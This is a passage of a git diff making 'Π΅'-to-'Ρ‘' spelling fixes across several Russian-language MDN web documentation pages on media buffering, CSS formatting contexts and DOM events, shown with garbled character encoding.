-<p>ΠœΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ ΠΊΠ½ΠΎΠΏΠΊΡƒ, Π½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ ΠΊΠ°ΠΊ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ мСню, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ с Π½Π΅ΠΉ ΠΈΠ΄Π΅Ρ‚. Π­Ρ‚ΠΎ мСню создаСтся динамичСски, Ρ‚.ΠΊ языки ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ ΠΈΠ»ΠΈ ΡƒΠ΄Π°Π»Π΅Π½Ρ‹ послС, простым Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ элСмСнтов  <code>&lt;track&gt;</code>Β Π² Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅ Π²ΠΈΠ΄Π΅ΠΎ.</p>
+<p>ΠœΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ ΠΊΠ½ΠΎΠΏΠΊΡƒ, Π½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ ΠΊΠ°ΠΊ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ мСню, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ с Π½Π΅ΠΉ ΠΈΠ΄Ρ‘Ρ‚. Π­Ρ‚ΠΎ мСню создаётся динамичСски, Ρ‚.ΠΊ языки ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ ΠΈΠ»ΠΈ ΡƒΠ΄Π°Π»Π΅Π½Ρ‹ послС, простым Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ элСмСнтов  <code>&lt;track&gt;</code>Β Π² Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅ Π²ΠΈΠ΄Π΅ΠΎ.</p>
<p>ВсС Ρ‡Ρ‚ΠΎ Π½Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ - это ΠΏΡ€ΠΎΠΉΡ‚ΠΈ Ρ‡Π΅Ρ€Π΅Π·Β Β <code>textTracks</code>, читая ΠΈΡ… свойства ΠΈ строя мСню ΠΈΠ· Π½ΠΈΡ…:</p>
diff --git a/files/ru/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.html b/files/ru/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.html
index e4d2637356..8eae6fbe73 100644
--- a/files/ru/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.html
+++ b/files/ru/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.html
@@ -211,6 +211,6 @@ myAudio.buffered.end(1); // returns 19</pre>
<p>Надо Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ свойство <code>played</code>, ΡΠΎΠΎΠ±Ρ‰Π°ΡŽΡ‰Π΅Π΅, Π±Ρ‹Π»ΠΈ Π»ΠΈ воспроизвСдСны ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Ρ‹ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ. ΠŸΡ€ΠΈΠΌΠ΅Ρ€:</p>
-<pre class="brush: js">var played = audio.played; // Π²Π΅Ρ€Π½Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ TimeRanges</pre>
+<pre class="brush: js">var played = audio.played; // Π²Π΅Ρ€Π½Ρ‘Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ TimeRanges</pre>
<p>Если ΠΏΡ€ΠΎΡΡƒΠΌΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ всС ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Ρ‹ <code>audio.played</code>, Ρ‚ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ долю ΠΏΡ€ΠΎΡΠ»ΡƒΡˆΠ°Π½Π½ΠΎΠ³ΠΎ Π°ΡƒΠ΄ΠΈΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для сбора ΠΌΠ΅Ρ‚Ρ€ΠΈΠΊ.</p>
diff --git a/files/ru/web/guide/css/block_formatting_context/index.html b/files/ru/web/guide/css/block_formatting_context/index.html
index 0114b27893..4c529df53a 100644
--- a/files/ru/web/guide/css/block_formatting_context/index.html
+++ b/files/ru/web/guide/css/block_formatting_context/index.html
@@ -43,7 +43,7 @@ translation_of: Web/Guide/CSS/Block_formatting_context
<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим ΠΏΠ°Ρ€Ρƒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ², Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°ΡΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ эффСкт ΠΎΡ‚ создания Π½ΠΎΠ²ΠΎΠ³ΠΎ Π±Π»ΠΎΡ‡Π½ΠΎΠ³ΠΎ контСкста форматирования.</p>
-<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ ΠΏΠ»Π°Π²Π°ΡŽΡ‰ΠΈΠΉ элСмСнт Π²Π½ΡƒΡ‚Ρ€ΠΈ <code>&lt;</code><code>div&gt;</code> с Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌΒ <code>border</code>.Β Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ этого <code>&lt;div&gt;</code>Β ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅Ρ‚ ΠΏΠ»Π°Π²Π°ΡŽΡ‰ΠΈΠΉ элСмСнт. Π’Π°ΠΊ ΠΊΠ°ΠΊ содСрТимоС <code>float</code>Β Π²Ρ‹ΡˆΠ΅, Ρ‡Π΅ΠΌ ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠ΅ содСрТимоС, ΠΎΠ±Ρ‚Π΅ΠΊΠ°ΡŽΡ‰Π΅Π΅ Π΅Π³ΠΎ,Β <code>border</code> элСмСнта <code>div</code>Β Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ сквозь <code>float</code>. Как ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ΡΡ Π² руководствС <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow">In Flow and Out of Flow</a>, ΠΏΠ»Π°Π²Π°ΡŽΡ‰ΠΈΠΉ элСмСнт Π±Ρ‹Π» ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ ΠΈΠ· ΠΏΠΎΡ‚ΠΎΠΊΠ° элСмСнтов, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Ρ„ΠΎΠ½ ΠΈ Π³Ρ€Π°Π½ΠΈΡ†Π°Β <code>div</code>Β Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΅Π³ΠΎ содСрТимоС, Π½ΠΎ Π½Π΅ элСмСнт <code>float</code>.Β </p>
+<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ ΠΏΠ»Π°Π²Π°ΡŽΡ‰ΠΈΠΉ элСмСнт Π²Π½ΡƒΡ‚Ρ€ΠΈ <code>&lt;</code><code>div&gt;</code> с Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌΒ <code>border</code>.Β Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ этого <code>&lt;div&gt;</code>Β ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅Ρ‚ ΠΏΠ»Π°Π²Π°ΡŽΡ‰ΠΈΠΉ элСмСнт. Π’Π°ΠΊ ΠΊΠ°ΠΊ содСрТимоС <code>float</code>Β Π²Ρ‹ΡˆΠ΅, Ρ‡Π΅ΠΌ ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠ΅ содСрТимоС, ΠΎΠ±Ρ‚Π΅ΠΊΠ°ΡŽΡ‰Π΅Π΅ Π΅Π³ΠΎ,Β <code>border</code> элСмСнта <code>div</code>Β Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ сквозь <code>float</code>. Как ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ΡΡ Π² руководствС <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow">In Flow and Out of Flow</a>, ΠΏΠ»Π°Π²Π°ΡŽΡ‰ΠΈΠΉ элСмСнт Π±Ρ‹Π» ΠΈΡΠΊΠ»ΡŽΡ‡Ρ‘Π½ ΠΈΠ· ΠΏΠΎΡ‚ΠΎΠΊΠ° элСмСнтов, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Ρ„ΠΎΠ½ ΠΈ Π³Ρ€Π°Π½ΠΈΡ†Π°Β <code>div</code>Β Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΅Π³ΠΎ содСрТимоС, Π½ΠΎ Π½Π΅ элСмСнт <code>float</code>.Β </p>
<p>{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/float.html", '100%', 720)}}</p>
diff --git a/files/ru/web/guide/events/event_handlers/index.html b/files/ru/web/guide/events/event_handlers/index.html
index 8401bd0739..fbbdde6848 100644
--- a/files/ru/web/guide/events/event_handlers/index.html
+++ b/files/ru/web/guide/events/event_handlers/index.html
@@ -7,7 +7,7 @@ translation_of: Web/Guide/Events/Event_handlers
<h2 id="РСгистрация_ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ²_onevent">РСгистрация ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² onevent</h2>
-<p>ΠžΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ <strong><code>on<em>event</em></code></strong> - это свойства ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… элСмСнтов DOM, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠ΅ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ этот элСмСнт Ρ€Π΅Π°Π³ΠΈΡ€ΡƒΠ΅Ρ‚ Π½Π° события. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΌΠΈ (ссылки, ΠΊΠ½ΠΎΠΏΠΊΠΈ, изобраТСния, Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈ Ρ‚. Π΄.) ΠΈΠ»ΠΈ Π½Π΅ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΌΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, элСмСнт base &lt;body&gt;). Бобытия - это Ρ‚Π°ΠΊΠΈΠ΅ дСйствия, ΠΊΠ°ΠΊ:</p>
+<p>ΠžΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ <strong><code>on<em>event</em></code></strong> - это свойства ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… элСмСнтов DOM, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠ΅ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ этот элСмСнт Ρ€Π΅Π°Π³ΠΈΡ€ΡƒΠ΅Ρ‚ Π½Π° события. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΌΠΈ (ссылки, ΠΊΠ½ΠΎΠΏΠΊΠΈ, изобраТСния, Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈ Ρ‚. Π΄.) ΠΈΠ»ΠΈ Π½Π΅ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΌΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, элСмСнт base &lt;body&gt;). Бобытия - это Ρ‚Π°ΠΊΠΈΠ΅ дСйствия, ΠΊΠ°ΠΊ:</p>
<ul>
<li>Клик ΠΌΡ‹ΡˆΠΊΠΎΠΉ</li>
diff --git a/files/ru/web/guide/events/index.html b/files/ru/web/guide/events/index.html
index e670fc0d15..cd85e3eeac 100644
--- a/files/ru/web/guide/events/index.html
+++ b/files/ru/web/guide/events/index.html
@@ -25,9 +25,9 @@ translation_of: Web/Guide/Events
<p><a href="/en-US/docs/Web/Guide/API/DOM/Events/Creating_and_triggering_events">Custom events page</a> <span id="result_box" lang="ru"><span class="hps">описываСт, ΠΊΠ°ΠΊ</span> <span class="hps">шаблон ΠΊΠΎΠ΄Π° события</span> <span class="hps">ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован Π²</span> <span class="hps">ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ ΠΊΠΎΠ΄Π΅</span><span>, Ρ‡Ρ‚ΠΎΠ±Ρ‹</span> <span class="hps">ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π½ΠΎΠ²Ρ‹Π΅</span> <span class="hps">Ρ‚ΠΈΠΏΡ‹ событий</span><span>, испускаСмыС ΠΎΡ‚</span> <span class="hps">ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²</span><span>, Π·Π°Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΡƒΠΉΡ‚Π΅ΡΡŒ</span> <span class="hps">Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ</span> <span class="hps">ΡΠ»ΡƒΡˆΠ°Ρ‚Π΅Π»Ρ</span>для <span class="hps">ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ</span> <span class="hps">этих</span> <span class="hps">событий</span><span>,</span> <span class="hps">ΠΈ Π²Ρ‹Π·ΠΎΠ²Π°</span> <span class="hps">события</span> <span class="hps">Π² ΠΊΠΎΠ΄Π΅</span> <span class="hps">ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ</span><span>.</span></span></p>
-<p><span id="result_box" lang="ru"><span class="hps">ΠžΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅</span> <span class="hps">страницы ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚</span><span>, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ</span> <span class="hps">события Ρ€Π°Π·Π½Ρ‹Ρ…</span> <span class="hps">Π²ΠΈΠ΄ΠΎΠ²</span><span>, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ…</span> <span class="hps">Π² Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…</span><span>.</span> <span class="hps">К соТалСнию,</span> <span class="hps">эти события</span> <span class="hps">Π±Ρ‹Π»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹</span> <span class="hps">ΠΏΠΎ частям</span><span>,</span> <span class="atn hps">Π²Π΅Π±-</span><span>Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹</span> <span class="hps">Ρ€Π°Π·Π²ΠΈΠ²Π°Π»ΠΈΡΡŒ</span> <span class="hps">Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎ</span> <span class="hps">Π½Π΅Ρ‚</span> <span class="hps">удовлСтворСния</span> <span class="hps">систСматичСским</span> <span class="hps">характСристикам</span> <span class="hps">событий</span> <span class="hps">встроСнным</span> <span class="hps">ΠΈΠ»ΠΈ</span> <span class="hps">ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ</span> Π² <span class="atn hps">соврСмСнных Π²Π΅Π±-</span><span>Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ….</span></span></p>
+<p><span id="result_box" lang="ru"><span class="hps">ΠžΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅</span> <span class="hps">страницы ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚</span><span>, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ</span> <span class="hps">события Ρ€Π°Π·Π½Ρ‹Ρ…</span> <span class="hps">Π²ΠΈΠ΄ΠΎΠ²</span><span>, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ…</span> <span class="hps">Π² Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…</span><span>.</span> <span class="hps">К соТалСнию,</span> <span class="hps">эти события</span> <span class="hps">Π±Ρ‹Π»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹</span> <span class="hps">ΠΏΠΎ частям</span><span>,</span> <span class="atn hps">Π²Π΅Π±-</span><span>Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹</span> <span class="hps">Ρ€Π°Π·Π²ΠΈΠ²Π°Π»ΠΈΡΡŒ</span> <span class="hps">Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎ</span> <span class="hps">Π½Π΅Ρ‚</span> <span class="hps">удовлСтворСния</span> <span class="hps">систСматичСским</span> <span class="hps">характСристикам</span> <span class="hps">событий</span> <span class="hps">встроСнным</span> <span class="hps">ΠΈΠ»ΠΈ</span> <span class="hps">ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ</span> Π² <span class="atn hps">соврСмСнных Π²Π΅Π±-</span><span>Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ….</span></span></p>
-<p><span id="result_box" lang="ru"><span><strong>Устройство</strong>, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ</span> <span class="atn hps">Ρ€Π°Π±ΠΎΡ‚Π° Π²Π΅Π±-</span><span>Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</span> <span class="hps">ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΏΡ€ΠΎΠ²ΠΎΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ</span> <span class="hps">событиС</span><span>, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€</span> <span class="hps">связанноС с</span> <span class="hps">ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ΠΌ Π΅Π³ΠΎ</span> <span class="hps">полоТСния ΠΈ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ</span> <span class="hps">Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ ΠΌΠΈΡ€Π΅</span><span>,</span> <span class="hps">частично описано</span></span> <a href="/en-US/docs/Web/Guide/API/DOM/Events/Orientation_and_motion_data_explained">page on orientation coordinate systems</a> ΠΈ <a href="/en-US/docs/Web/Guide/API/DOM/Events/Using_device_orientation_with_3D_transforms">page on the use of 3D transforms</a>. Они<span id="result_box" lang="ru"> <span class="hps">Ρ€Π°Π·Π½Ρ‹Π΅, Π½ΠΎ</span> <span class="hps">ΠΏΠΎΡ…ΠΎΠΆΠΈ</span><span>,</span> <span class="hps">с ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π½ΠΎΠΉ</span> <span class="hps">Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ</span> <span class="hps">устройства</span><span>.</span></span></p>
+<p><span id="result_box" lang="ru"><span><strong>Устройство</strong>, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ</span> <span class="atn hps">Ρ€Π°Π±ΠΎΡ‚Π° Π²Π΅Π±-</span><span>Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</span> <span class="hps">ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΏΡ€ΠΎΠ²ΠΎΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ</span> <span class="hps">событиС</span><span>, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€</span> <span class="hps">связанноС с</span> <span class="hps">ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ΠΌ Π΅Π³ΠΎ</span> <span class="hps">полоТСния ΠΈ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ</span> <span class="hps">Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ ΠΌΠΈΡ€Π΅</span><span>,</span> <span class="hps">частично описано</span></span> <a href="/en-US/docs/Web/Guide/API/DOM/Events/Orientation_and_motion_data_explained">page on orientation coordinate systems</a> ΠΈ <a href="/en-US/docs/Web/Guide/API/DOM/Events/Using_device_orientation_with_3D_transforms">page on the use of 3D transforms</a>. Они<span id="result_box" lang="ru"> <span class="hps">Ρ€Π°Π·Π½Ρ‹Π΅, Π½ΠΎ</span> <span class="hps">ΠΏΠΎΡ…ΠΎΠΆΠΈ</span><span>,</span> <span class="hps">с ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½Π½ΠΎΠΉ</span> <span class="hps">Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ</span> <span class="hps">устройства</span><span>.</span></span></p>
<p><span id="result_box" lang="ru"><strong><span>Окно Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ</span> <span class="hps">отобраТаСтся</span> <span class="hps">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€</span></strong> <span class="hps">ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ</span> <span class="hps">события</span><span>, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ</span><span>,</span> <span class="hps">ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€</span><span>, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ</span> <span class="hps">максимизируСт</span> <span class="hps">ΠΎΠΊΠ½ΠΎ ΠΈΠ»ΠΈ</span> <span class="hps">ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ Π΅Π³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€</span><span>.</span></span></p>
@@ -42,13 +42,13 @@ translation_of: Web/Guide/Events
<li><a href="/en-US/docs/Web/Guide/API/DOM/Events/Touch_events">события наТатия Π½Π° экран</a> ΠΈ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠ΅ <a href="/en-US/docs/Web/Guide/API/DOM/Events/Touch_events_(Mozilla_experimental)">ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹Π΅ события наТатия Π½Π° экран (ΠΎΡ‚ Mozilla)</a>.</li>
</ul>
-<p><span id="result_box" lang="ru"><strong><span>ΠœΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡ</span> <span class="hps">Π² структурС Π²Π΅Π±-страницы</span> <span class="hps">ΠΈΠ»ΠΈ содСрТании</span></strong> <span class="hps">ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ</span> <span class="hps">Π²Ρ‹Π·Π²Π°Π½ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ</span> <span class="hps">событиСм</span><span>,Β </span> <span class="hps">описанным Π²</span></span> <a href="/en-US/docs/Web/Guide/API/DOM/Events/Mutation_events">mutation events page</a><span id="result_box" lang="ru"><span class="hps">, Π½ΠΎ</span> ΠΈΡ…<span class="hps"> использованиС </span> <span class="hps">устарСло Π²</span> <span class="hps">ΠΏΠΎΠ»ΡŒΠ·Ρƒ Π±ΠΎΠ»Π΅Π΅ </span><span class="hps">Π»Π΅Π³ΠΊΠΎΠ³ΠΎ</span></span> <a href="/en-US/docs/Web/API/MutationObserver">Mutation Observer</a> ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Π°.</p>
+<p><span id="result_box" lang="ru"><strong><span>ΠœΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡ</span> <span class="hps">Π² структурС Π²Π΅Π±-страницы</span> <span class="hps">ΠΈΠ»ΠΈ содСрТании</span></strong> <span class="hps">ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ</span> <span class="hps">Π²Ρ‹Π·Π²Π°Π½ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ</span> <span class="hps">событиСм</span><span>,Β </span> <span class="hps">описанным Π²</span></span> <a href="/en-US/docs/Web/Guide/API/DOM/Events/Mutation_events">mutation events page</a><span id="result_box" lang="ru"><span class="hps">, Π½ΠΎ</span> ΠΈΡ…<span class="hps"> использованиС </span> <span class="hps">устарСло Π²</span> <span class="hps">ΠΏΠΎΠ»ΡŒΠ·Ρƒ Π±ΠΎΠ»Π΅Π΅ </span><span class="hps">Π»Ρ‘Π³ΠΊΠΎΠ³ΠΎ</span></span> <a href="/en-US/docs/Web/API/MutationObserver">Mutation Observer</a> ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Π°.</p>
<p><span id="result_box" lang="ru"><strong><span class="hps">ΠŸΠΎΡ‚ΠΎΠΊΠΈ</span> <span class="hps">МСдиа</span></strong>, <span class="hps">встроСнный</span> <span class="hps">Π²</span> <span class="hps">HTML</span> <span class="hps">Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°,</span> <span class="hps">ΠΌΠΎΠΆΠ΅Ρ‚</span> <span class="hps">Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅</span> <span class="hps">события</span><span>,</span> <span class="hps">страница описания</span></span> <a href="/en-US/docs/Web/Guide/API/DOM/Events/Media_events">media events</a>.</p>
<p><span id="result_box" lang="ru"><strong><span class="hps">Π‘Π΅Ρ‚Π΅Π²Ρ‹Π΅</span> </strong><span class="hps"><strong>запросы</strong>, сдСланныС</span> <span class="atn hps">Π²Π΅Π±-</span><span>страницСй, ΠΌΠΎΠ³ΡƒΡ‚</span> <span class="hps">Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅</span> <span class="hps">события</span><span>.</span></span></p>
